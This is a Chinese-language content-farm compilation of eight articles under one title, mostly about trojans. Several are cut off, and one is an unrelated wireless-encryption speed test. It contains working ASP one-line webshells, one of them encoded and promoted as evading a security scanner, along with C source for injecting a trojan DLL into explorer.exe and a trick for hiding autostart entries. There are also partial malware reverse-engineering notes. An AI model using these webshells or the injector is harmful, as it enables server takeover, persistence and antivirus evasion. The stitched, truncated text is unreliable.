一个加密后的一句话木马(揭秘)

时间:2022年12月11日

/

来源:踏月

/

编辑:本站小编

收藏本文

下载本文

下面是小编整理的一个加密后的一句话木马(揭秘),本文共8篇,欢迎您阅读分享借鉴,希望对您有所帮助。本文原稿由网友“踏月”提供。

篇1:一个加密后的一句话木马(揭秘)

我原也以为这是ASCII码加密过的

73,50,114,133,114,112,130,129,114,45,127,114,126,130,114,128,129,53,47,121,47,54,50,75

结果T00LS某大牛

全部数字减13,然后十进制解密

运行后得到代码为

<%execute request(“l”)%>

篇2:一个嵌入式dll木马源码

一个嵌入式dll木马源码-06-08 03:39//A.exe

#include

#include

#include

#pragma comment (lib,“Advapi32.lib”)

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)//函数头,呵呵,晕!

{

//我们说了要第一步要调用VirtualAllocEx函数在目标进程中分配内存

//那么我们就得找到目标进程的PID,我们假设把目标进程锁定为explorer.exe

//下面是获取explorer.exe的PID

DWORD pid; //声明PID

HANDLE hSnapshot = NULL;

hSnapshot=createToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);

PROCESSENTRY32 a;

a.dwSize = sizeof(PROCESSENTRY32);

Process32First(hSnapshot,&a);

do

{

if(strcmp(a.szExeFile,“Explorer.exe”)==0)

{

pid = a.th32ProcessID;//匹配,找到

break;

}

}

while(Process32Next(hSnapshot,&a)==TRUE);

CloseHandle (hSnapshot);//,找到了PID,善后

PWSTR pszLibFileRemote = NULL;//待会要作为传递的参数,(实际上是要存放我

//的DLL木马的空间)

HANDLE hRemoteProcess = NULL;

HANDLE hRemoteThread = NULL;

//下面这个OpenProcess 来打开目标进程的,参数的设置你可以理解成在问系统要对目标进程的权限

hRemoteProcess = OpenProcess(

PROCESS_QUERY_INFORMATION |PROCESS_create_THREAD | //允许远程创建线程

PROCESS_VM_OPERATION | // 允许远程VM操作

PROCESS_VM_WRITE, // 允许远程VM写操作

FALSE, pid);

char CurPath[256]; //用来存放当前路径

GetCurrentDirectory(256,CurPath);//获得当前的路径

strcat(CurPath,“\\\\zizai.dll”); //让zizai.dll的路径放入CurPath

//计算DLL路径名需要的内存空间,参考了JIURL的计算方法,强烈致谢

//SHOTGUN计算方法:int changdu = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

int changdu = (strlen(CurPath)+1)*2;

WCHAR wCurPath[256];

MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

//调用VirtualAllocEx()函数在目标进程中分配内存

//注意是在远程进程hRemoteProcess的内存空间申请

pszLibFileRemote = (PWSTR)VirtualAllocEx(hRemoteProcess, NULL, changdu, MEM_COMMIT, PAGE_READWRITE);

//用WriteProcessMemory()函数向申请的内存中写入要注入zizai.dll的路径和名称,也就是参数

WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) wCurPath, changdu, NULL);

//远程进程 //具体空间 //路径 //长度

//计算LoadLibraryW的入口地址,也就是远程线程的地址pfn ,用它来启动我们的DLL木马

PTHREAD_START_ROUTINE pfn = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);//这里怎么会用到Kernel32呢?

//是因为LoadLibraryW函数是在kernel32.dll中定义的,就是用来启动DLL文件

//它只有一个参数,就是DLL文件的路径名(是木马DLL的绝对路径)

//利用createRemoteThread()在远程进程中创建一个线程,这个线程执行LoadLibraryW

//就实现了通过远程线程调用用户的DLL文件

//要把LoadLibraryW的入口地址代入

hRemoteThread = createRemoteThread(hRemoteProcess, NULL, 0, pfn , pszLibFileRemote,0, NULL);

return 0;

}

篇3:一个驱动木马的分析

【文章作者】: prince

【作者邮箱】: cracker_prince@163.com

【作者QQ号】: 812937

【软件名称】: Trojan program Trojan-Downloader.Win32.Agent.bbb(卡巴命名)

【下载地址】: www.unpack.cn/viewthread.php?tid=8733&extra=page%3D1

【加壳方式】: 无

【编写语言】: ---

【使用工具】: IDA 5.0, WinDbg 6.6.007.5, VMWare 5.5.

【操作平台】: WINDOWS XP

【软件介绍】: 某木马or恶意软件的driver部分

【作者声明】: 水平有限,了解不多,仅作参考,

--------------------------------------------------------------------------------

【前言】

大概2个多星期前看到在Unpack『 病毒木马 』区Lvg同学发了这个样本,就用业余时间

看了看。本人纯属入门级选手,所以各位看到有什么解释的不妥或者直接让您喷饭地方,还请不吝赐教,

谢谢。

【详细过程】

由于是驱动文件,不考虑极端情况,就认为它没壳,直接IDA之。

入口:

.text:00010F5B ; *************** S U B R O U T I N E ***************************************

.text:00010F5B

.text:00010F5B

.text:00010F5B ; int __stdcall start(PDRIVER_OBJECT DriverObject,int)

.text:00010F5B public start

.text:00010F5B start proc near

.text:00010F5B

.text:00010F5B DriverObject = dword ptr 4

.text:00010F5B arg_4 = dword ptr 8

.text:00010F5B

.text:00010F5B push [esp+arg_4] ; RegistryPath

.text:00010F5F call sub_10966 ; 参数为:RegistryPath;

.text:00010F5F ; 修改SDT,hook关键函数

.text:00010F5F

.text:00010F64 test al, al ; 判断hook是否成功

.text:00010F66 jnz short loc_10F6F ; 成功则跳

.text:00010F66

.text:00010F68 mov eax, 0C0000001h ; 否则返回STATUS_UNSUCCESSFUL

(0C0000001h)

.text:00010F6D jmp short locret_10FD2

.text:00010F6D

.text:00010F6F ; ---------------------------------------------------------------------------

.text:00010F6F

.text:00010F6F loc_10F6F: ; CODE XREF: start+B j

.text:00010F6F push esi

.text:00010F70 push edi

.text:00010F71 xor edi, edi ; edi清零

.text:00010F73 xor esi, esi ; esi清零

.text:00010F75 inc esi

.text:00010F76 mov dword_1160C, esi ; dword_1160C = 1

.text:00010F7C mov dword_11608, edi ; dword_11608 = 0

.text:00010F82 mov dword_115FC, esi ; dword_115FC = 1

.text:00010F88 mov dword_115F8, edi ; dword_115F8 = 0

.text:00010F8E mov dword_11604, edi ; dword_11604 = 0

.text:00010F94 mov dword_11600, edi ; dword_11600 = 0

.text:00010F9A mov dword_11614, edi ; dword_11614 = 0

.text:00010FA0 mov Handle, edi ; Handle = 0

.text:00010FA6 call sub_10EFF ; 创建线程 - 设置注册表注册驱动和打开

dll和sys文件

.text:00010FA6

.text:00010FAB call sub_10C61 ; ZwCreateFile打开“\\SystemRoot”,判

断hook是否成功?

.text:00010FAB

.text:00010FB0 test al, al ; 利用返回值判断是否打开成功

.text:00010FB2 jz short loc_10FBC ; 打开失败则跳

.text:00010FB2

.text:00010FB4 push esi

.text:00010FB5 call sub_106B9 ; 用原始的NtCreateFile打开

.text:00010FB5 ; “\\SystemRoot\\system32

\\drivers\\esqyo.sys” 和

.text:00010FB5 ; “\\SystemRoot\\system32\\ydljs.dll”并

保存句柄

.text:00010FB5 ; 目的是防止这两个文件被关闭和删除

.text:00010FB5

.text:00010FBA jmp short loc_10FC5

.text:00010FBA

.text:00010FBC ; ---------------------------------------------------------------------------

.text:00010FBC

.text:00010FBC loc_10FBC: ; CODE XREF: start+57 j

.text:00010FBC push [esp+8+DriverObject] ; DriverObject

.text:00010FC0 call sub_10D1B ; 如果出现什么问题则调用

IoRegisterDriverReinitialization

.text:00010FC0 ; 重新再来一遍,

狠...

.text:00010FC0

.text:00010FC5

.text:00010FC5 loc_10FC5: ; CODE XREF: start+5F j

.text:00010FC5 push edi ; Remove - edi = 0 (FALSE - 创建

hookRoutine)

.text:00010FC6 push offset NotifyRoutine ; NotifyRoutine - (监视函数)

.text:00010FC6 ; 该函数监视explorer.exe进程启动,跟

目标同时启动打开驱动、dll,写注册表等动作

.text:00010FCB call PsSetCreateProcessNotifyRoutine ; 监视进程创建及销毁

.text:00010FCB

.text:00010FD0 pop edi

.text:00010FD1 pop esi

.text:00010FD1

.text:00010FD2

.text:00010FD2 locret_10FD2: ; CODE XREF: start+12 j

.text:00010FD2 retn 8

.text:00010FD2

.text:00010FD2 start endp

************************************************************************

跟进sub_10966:

.text:00010966 ; arg_0

.text:00010966

.text:00010966 sub_10966 proc near ; CODE XREF: start+4 p

.text:00010966

.text:00010966 arg_0 = dword ptr 8

.text:00010966

.text:00010966 push ebx ; arg_0

.text:00010967 call sub_10857 ; 对一些常量字符串进行解码还原

.text:00010967

.text:0001096C xor ebx, ebx

.text:0001096E push ebx ; CSDVersion - NULL

.text:0001096F push offset BuildNumber ; BuildNumber

.text:00010974 push offset MinorVersion ; MinorVersion

[1] [2] [3] [4] [5] [6] [7]  下一页

篇4:关于木马隐藏的一个新方法

大家所熟知的木马程序一般的启动方式有:加载到“开始”菜单中的“启动”项、记录到注册表的HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run项和HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\[Run项中,更高级的木 马还会注册为系统的“服务”程序,以上这几种启动方式都可以在“系统配置实用程序”(在“开始→运行”中执行“Msconfig”)的“启动”项和“服务”项中找到它的踪迹,

另一种鲜为人知的启动方式,是在“开始→运行”中执行“Gpedit.msc”。 打开“组策略”,可看到“本地计算机策略”中有两个选项:“计算机配置”与“用户配置”,展开“用户配置→管理模板→系统→登录”,双击“在用户登录时运行这些程序”子项进行属性设置,选定“设置”项中的“已启用”项并单击“显示”按钮弹出“显示内容”窗口,再单击“添加”按钮,在“添加项目”窗口内的文本框中输入要自启动的程序的路径,单击“确定”按钮就完成了,

重新启动计算机,系统在登录时就会自动启动你添加的程序,如果刚才添加的是木马程序,那么一个“隐形”木马就这样诞生了。因为用这种方式添加的自启动程序在系统的“系统配置实用程序”是找不到的,同样在我们所熟知的注册表项中也是找不到的,所以非常危险。

通过这种方式添加的自启动程序虽然被记录在注册表中,但是不在我们所熟知的注册表的HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run项和HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\[Run项内,而是在注册表的HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run项。如果你怀疑你的电脑被种了“木马”,可是又找不到它在哪儿,建议你到注册表的HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run项里找找吧,或是进入“组策略”的“在用户登录时运行这些程序”看看有没有启动的程序。

篇5:一个QQ木马的分析

该文章已发表于《 X档案》0906期,后由原创作者友情提交到邪恶八进制信息安全团队,请著名原作者和原始出处

最近Blog人气疯狂下跌,就随便发篇垃圾文过来广告一下Blog,希望大牛们不要B4我.

就快要高考了,好长时间没上网了,今天好不容易抽出点时间,刚上QQ一个我不认识的小子就说要给我个黄站发布器,我一高兴就要了因为我在网吧,也没多想就直接运行了,结果刚运行文件一下子就没了,过了一会QQ又掉了,我心里一凉啊,哎,又是马啊,那就拿出来逆逆吧!

直接放到OD里,代码如下: 复制内容到剪贴板

代码:

0041D987 >60 pushad

0041D988 E8 09000000 call 0041D996

0041D98D 05 D80100E9 add eax, E90001D8

用PEID来分析来看看,PEID说是Upack 0.3.9 beta2s ->Dwing的壳,记得这是个很古老的壳了,不管什么壳,看到第一句的pushad大部分就应该可以用ESP定律来脱了。为什么?翻翻以前的杂志,看看ESP定律的原理就行了。

在OD中按F8跟踪一下,只要看见ESP寄存器的数据变红,然后就执行命令hr esp,然后按F9让它运行起来,接着程序就被断在了这里: 复制内容到剪贴板

代码:

0041DB9C 61 popad

0041DB9D - E9 8F54FFFF jmp 00413031

这里的popad和pushad是一对,看到这个popad,基本说明我们成功了,我们跟随这个jmp跳过去就到了程序的OEP了,直接使用OD把它DUMP出来,再用PEID看看,说是Microsoft Visual C++ 6.0 [Overlay],已经没壳了,

我们用OD载入脱壳后的文件,F8跟踪几下后就可以看到如下代码: 复制内容到剪贴板

代码:

00405086 E8 65EBFFFF call

0040508B 85C0 test eax, eax

0040508D 75 13 jnz short 004050A2

刚开始先打开互斥(用来判断程序运行是否唯一),继续往下看: 复制内容到剪贴板

代码:

004050E9 E8 16EEFFFF call 00403F04

004050EE 8B55 EC mov edx, dword ptr [ebp-14]

004050F1 B8 B0764000 mov eax, 004076B0

004050F6 E8 05E0FFFF call 00403100

004050FB A1 B0764000 mov eax, dword ptr [4076B0]

00405100 E8 EFE2FFFF call 004033F4

这段代码用来得到一个随即字符串作为DLL的文件名

[1] [2] 下一页

篇6:揭秘:无线加密影响连接速度么?(一)

小A:用的都是同一款无线路由器,为什么我的用起来就觉得慢呢?

小B:你的无线加密了吧?

小A:是啊,为了安全起见我选了WPA2加密,

小B:这就是问题了,无线加密会严重影响无线传输速度的,还是别加密了。

小A:啊?是吗?那我把无线加密关了好了。

上面的一段小对话在我们的生活中屡见不鲜,相信在很多用户的潜意识里,无线加密已经和牺牲无线速度划上了等号,但实际应用中真的是这样吗?真的如小B所说,无线加密会严重影响无线传输速度吗?下面我们将“为你解惑”,是真理还是传言?我们将通过实际测试告诉你。

认识主流无线加密方式:

在开始实际测试前,我们先来了解一下无线加密。目前主流的无线路由中带有的加密方式主要有:WEP,WPA-PSK(TKIP),WPA2-PSK(AES)和WPA-PSK(TKIP)+WPA2-PSK(AES)。

WEP,Wired Equivalent Privacy(有线等效保密)的简称。WEP协议是对在两台设备间无线传输的数据进行加密的方式,用以防止非法用户 或侵入无线网络。它的安全技术源自于名为RC4的RSA数据加密技术,设计之初可以为用户提供更高层次的网络安全需求。 可惜WEP由于自身的设计缺陷,导致其安全可靠性极具下降,目前已很少投入使用。

WPA,Wi-Fi Protected Access(Wi-Fi网络安全存取)的简称。WPA协议是一种保护无线网络(WiFi)安全的系统,它是在前一代有线等效加密(WEP)的基础上产生的,它解决了前任WEP的缺陷问题,它使用TKIP(临时密钥完整性)协议,是IEEE 802.11i标准中的过度方案,是现在主流的无线加密方式,

WPA2,简单来说然就是WPA的第二版,它支持AES(高级加密算法),安全性更高。但其需要新的硬件支持(802.11n产品),所以现阶段的应用率不及WPA,但未来它必将成为新的主流加密方式。

WPA-PSK(TKIP)+WPA2-PSK(AES),这是目前最高级别的加密方式,但这种加密模式因为兼容性的问题,目前很难普及。

由于WEP的不安全性和WPA-PSK(TKIP)+WPA2-PSK(AES)的不兼容性,本次实际测试我们将以WAP和WAP2两种主流加密方式为主,看看无线加密对无线传输速度的影响究竟如何。

测试平台和测试方法

我们将挑选两款比较有代表性的无线路由进行测试,它们分别是D-Link DIR-602和腾达 W150M,它们都是目前市场中的主流产品。

测试平台:

客户端:华硕z99h21笔记本+300M外置无线网卡

服务器端:IBM T61笔记本

测试软件:NetIQ Chariot v5.4;Endpoint6.0

我们将在不同的加密方式下对两款无线路由进行单pair下载速率测试,用最直观的数据告诉你无线加密对无线速度的影响。

测试环境:ZOL办公区。由于办公区中拥有十几个无线热点。

小结:无线传输速率小幅下降

通过对“魅”路由的实际测试,它在WPA和WPA2加密方式下的测试成绩较无加密情况下分别下降了5Mbps和4Mbps,这也说明了无线加密确实会影响无线传输速率。但这样的差距在实际应用中是很难感受到的,用一点点性能的损失换来安全的网络环境,哪个更值相信你心中一定有数。

篇7:让杀毒软件束手无策:DLL木马揭秘WEB安全

相信经常玩木马的朋友们都会知道一些木马的特性,也会有自己最喜爱的木马,不过,很多朋友依然不知道近年兴起的“DLL木马”为何物,什么是“DLL木马”呢?它与一般的木马有什么不同?

一、从DLL技术说起

要了解DLL木马,就必须知道这个“DLL”是什么意思,所以,让我们追溯到几年前,DOS系统大行其道的日子里。在那时候,写程序是一件繁琐的事情,因为每个程序的代码都是独立的,有时候为了实现一个功能,就要为此写很多代码,后来随着编程技术发展,程序员们把很多常用的代码集合(通用代码)放进一个独立的文件里,并把这个文件称为“库”(Library),在写程序的时候,把这个库文件加入编译器,就能使用这个库包含的所有功能而不必自己再去写一大堆代码,这个技术被称为“静态链接”(Static Link)。静态链接技术让劳累的程序员松了口气,一切似乎都很美好。可是事实证明,美好的事物不会存在太久,因为静态链接就像一个粗鲁的推销员,不管你想不想要宣传单,他都全部塞到你的手上来。写一个程序只想用到一个库文件包含的某个图形效果,就因为这个,你不得不把这个库文件携带的所有的图形效果都加入程序,留着它们当花瓶摆设,这倒没什么重要,可是这些花瓶却把道路都阻塞了――静态链接技术让最终的程序成了大块头,因为编译器把整个库文件也算进去了。

时代在发展,静态链接技术由于天生的弊端,不能满足程序员的愿望,人们开始寻找一种更好的方法来解决代码重复的难题。后来,Windows系统出现了,时代的分水岭终于出现。Windows系统使用一种新的链接技术,这种被称为“动态链接”(Dynamic Link)的新技术同样也是使用库文件,微软称它们为“动态链接库”――Dynamic Link Library,DLL的名字就是这样来的。动态链接本身和静态链接没什么区别,也是把通用代码写进一些独立文件里,但是在编译方面,微软绕了个圈子,并没有采取把库文件加进程序的方法,而是把库文件做成已经编译好的程序文件,给它们开个交换数据的接口,程序员写程序的时候,一旦要使用某个库文件的一个功能函数,系统就把这个库文件调入内存,连接上这个程序占有的任务进程,然后执行程序要用的功能函数,并把结果返回给程序显示出来,在我们看来,就像是程序自己带有的功能一样。完成需要的功能后,这个DLL停止运行,整个调用过程结束。微软让这些库文件能被多个程序调用,实现了比较完美的共享,程序员无论要写什么程序,只要在代码里加入对相关DLL的调用声明就能使用它的全部功能。最重要的是,DLL绝对不会让你多拿一个花瓶,你要什么它就给你什么,你不要的东西它才不会给你。这样,写出来的程序就不能再携带一大堆垃圾了――绝对不会让你把吃剩的东西带回家,否则罚款,这是自助餐。

DLL技术的诞生,使编写程序变成一件简单的事情,Windows为我们提供了几千个函数接口,足以满足大多数程序员的需要。而且,Windows系统自身就是由几千个DLL文件组成,这些DLL相互扶持,组成了强大的Windows系统。如果Windows使用静态链接技术,它的体积会有多大?我不敢想。

二、应用程序接口API

上面我们对DLL技术做了个大概分析,在里面我提到了“接口”,这又是什么呢?因为DLL不能像静态库文件那样塞进程序里,所以,如何让程序知道实现功能的代码和文件成了问题,微软就为DLL技术做了标准规范,让一个DLL文件像奶酪一样开了许多小洞,每个洞口都注明里面存放的功能的名字,程序只要根据标准规范找到相关洞口就可以取得它要的美味了,这个洞口就是“应用程序接口”(Application Programming Interface),每个DLL带的接口都不相同,尽最大可能的减少了代码的重复。用Steven的一句话:API就是一个工具箱,你根据需要取出螺丝刀、扳手,用完后再把它们放回原处。在Windows里,最基本的3个DLL文件是kernel32.dll、user32.dll、gdi32.dll。它们共同构成了基本的系统框架。

三、DLL与木马

DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。那么,DLL与木马能扯上什么关系呢?如果你学过编程并且写过DLL,就会发现,其实DLL的代码和其他程序几乎没什么两样,仅仅是接口和启动模式不同,只要改动一下代码入口,DLL就变成一个独立的程序了。当然,DLL文件是没有程序逻辑的,这里并不是说DLL=EXE,不过,依然可以把DLL看做缺少了main入口的EXE,DLL带的各个功能函数可以看作一个程序的几个函数模块。DLL木马就是把一个实现了木马功能的代码,加上一些特殊代码写成DLL文件,导出相关的API,在别人看来,这只是一个普通的DLL,但是这个DLL却携带了完整的木马功能,这就是DLL木马的概念。也许有人会问,既然同样的代码就可以实现木马功能,那么直接做程序就可以,为什么还要多此一举写成DLL呢?这是为了隐藏,因为DLL运行时是直接挂在调用它的程序的进程里的,并不会另外产生进程,所以相对于传统EXE木马来说,它很难被查到。

四、DLL的运行

虽然DLL不能自己运行,可是Windows在加载DLL的时候,需要一个入口函数,就如同EXE的main一样,否则系统无法引用DLL,

所以根据编写规范,Windows必须查找并执行DLL里的一个函数DllMain作为加载DLL的依据,这个函数不作为API导出,而是内部函数。DllMain函数使DLL得以保留在内存里,有的DLL里面没有DllMain函数,可是依然能使用,这是因为Windows在找不到DllMain的时候,会从其它运行库中找一个不做任何操作的缺省DllMain函数启动这个DLL使它能被载入,并不是说DLL可以放弃DllMain函数。

五、DLL木马技术分析

到了这里,您也许会想,既然DLL木马有那么多好处,以后写木马都采用DLL方式不就好了吗?话虽然是这么说没错,但是DLL木马并不是一些人想象的那么容易写的。要写一个能用的DLL木马,你需要了解更多知识。

1.木马的主体

千万别把木马模块写得真的像个API库一样,这不是开发WINAPI。DLL木马可以导出几个辅助函数,但是必须有一个过程负责主要执行代码,否则这个DLL只能是一堆零碎API函数,别提工作了。

如果涉及一些通用代码,可以在DLL里写一些内部函数,供自己的代码使用,而不是把所有代码都开放成接口,这样它自己本身都难调用了,更不可能发挥作用。

DLL木马的标准执行入口为DllMain,所以必须在DllMain里写好DLL木马运行的代码,或者指向DLL木马的执行模块。

2.动态嵌入技术

Windows中,每个进程都有自己的私有内存空间,别的进程是不允许对这个私人领地进行操作的,但是,实际上我们仍然可以利用种种方法进入并操作进程的私有内存,这就是动态嵌入,它是将自己的代码嵌入正在运行的进程中的技术。动态嵌入有很多种,最常见的是钩子、API以及远程线程技术,现在的大多数DLL木马都采用远程线程技术把自己挂在一个正常系统进程中。其实动态嵌入并不少见,罗技的MouseWare驱动就挂着每一个系统进程-_-

远程线程技术就是通过在另一个进程中创建远程线程(RemoteThread)的方法进入那个进程的内存地址空间。在DLL木马的范畴里,这个技术也叫做“注入”,当载体在那个被注入的进程里创建了远程线程并命令它加载DLL时,木马就挂上去执行了,没有新进程产生,要想让木马停止惟有让挂接这个木马DLL的进程退出运行。但是,很多时候我们只能束手无策――它和Explorer.exe挂在一起了,你确定要关闭Windows吗?

3.木马的启动

有人也许会迫不及待的说,直接把这个DLL加入系统启动项目不就可以了。答案是NO,前面说过,DLL不能独立运行,所以无法在启动项目里直接启动它。要想让木马跑起来,就需要一个EXE使用动态嵌入技术让DLL搭上其他正常进程的车,让被嵌入的进程调用这个DLL的DllMain函数,激发木马运行,最后启动木马的EXE结束运行,木马启动完毕。

启动DLL木马的EXE是个重要角色,它被称为Loader,如果没有Loader,DLL木马就是破烂一堆,因此,一个算得上成熟的DLL木马会想办法保护它的Loader不会那么容易被毁灭。记得狼狈为奸的故事吗?DLL木马就是爬在狼Loader上的狈。

Loader可以是多种多样的,Windows的rundll32.exe也被一些DLL木马用来做了Loader,这种木马一般不带动态嵌入技术,它直接挂着rundll32进程运行,用rundll32的方法(rundll32.exe [DLL名],[函数] [参数])像调用API一样去引用这个DLL的启动函数激发木马模块开始执行,即使你杀了rundll32,木马本体还是在的,一个最常见的例子就是3721中文实名,虽然它不是木马。

注册表的AppInit_DLLs键也被一些木马用来启动自己,如求职信病毒。利用注册表启动,就是让系统执行DllMain来达到启动木马的目的。因为它是kernel调入的,对这个DLL的稳定性有很大要求,稍有错误就会导致系统崩溃,所以很少看到这种木马。

有一些更复杂点的DLL木马通过svchost.exe启动,这种DLL木马必须写成NT-Service,入口函数是ServiceMain,一般很少见,但是这种木马的隐蔽性也不错,而且Loader有保障。

4.其它

到这里大家也应该对DLL木马有个了解了,是不是很想写一个?别急,不知道大家想过没有,既然DLL木马这么好,为什么到现在能找到的DLL木马寥寥无几?现在让我来泼冷水,最重要的原因只有一个:由于DLL木马挂着系统进程运行,如果它本身写得不好,例如没有防止运行错误的代码或者没有严格规范用户的输入,DLL就会出错崩溃。别紧张,一般的EXE也是这样完蛋的,但是DLL崩溃会导致它挂着的程序跟着遭殃,别忘记它挂接的是系统进程哦,结局就是……惨不忍睹。所以写一个能公布的DLL木马,在排错检查方面做的工作要比一般的EXE木马多,写得多了自己都烦躁……

六、DLL木马的发现和查杀

经常看看启动项有没有多出莫名其妙的项目,这是Loader的所在,只要杀了狼,狈就不能再狂了。而DLL木马本体比较难发现,需要你有一定编程知识和分析能力,在Loader里查找DLL名称,或者从进程里看多挂接了什么陌生的DLL,可是对新手来说……总之就是比较难啊比较难,所以,最简单的方法:杀毒软件和防火墙(不是万能药,切忌长期服用)。

篇8:一句话木马加密过护卫神云查杀系统

分享给大家 暂时未测试 大家自己用用看

大马的代码是简单加密了下的!很容易解开看见 是加密的一段代码

ASP/Visual Basic Code复制内容到剪贴板

<%codeds=”Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li”execute (decode (codeds) )Function DeCode (Coded)On Error Resume NextFor i = 1 To Len (Coded)Curchar = Mid (Coded, i, 1)If Asc (Curchar) = 16 thenCurchar = chr (8)Elseif Asc (Curchar) = 24 thenCurchar = chr (12)Elseif Asc (Curchar) = 32 thenCurchar = chr (18)ElseCurchar = chr (Asc (Curchar) -3)End ifDeCode = Decode&CurcharNextEnd Functionresponse.write(decode(codeds))%>

很简单的加密,解开一看

ASP/Visual Basic Code复制内容到剪贴板

<%If request(“xx”) =”x” then eval request(“hkmjj”) end if%>

经过测试,发现过目前的护卫神云查杀系统,这个貌似用的人挺多的

木马诗歌现代诗

用于加密机制的协议是

用于加密机制的协议

读《丁香木马》有感

教你成为ASP木马高手

下载一个加密后的一句话木马(揭秘)(精选8篇)
一个加密后的一句话木马(揭秘).doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档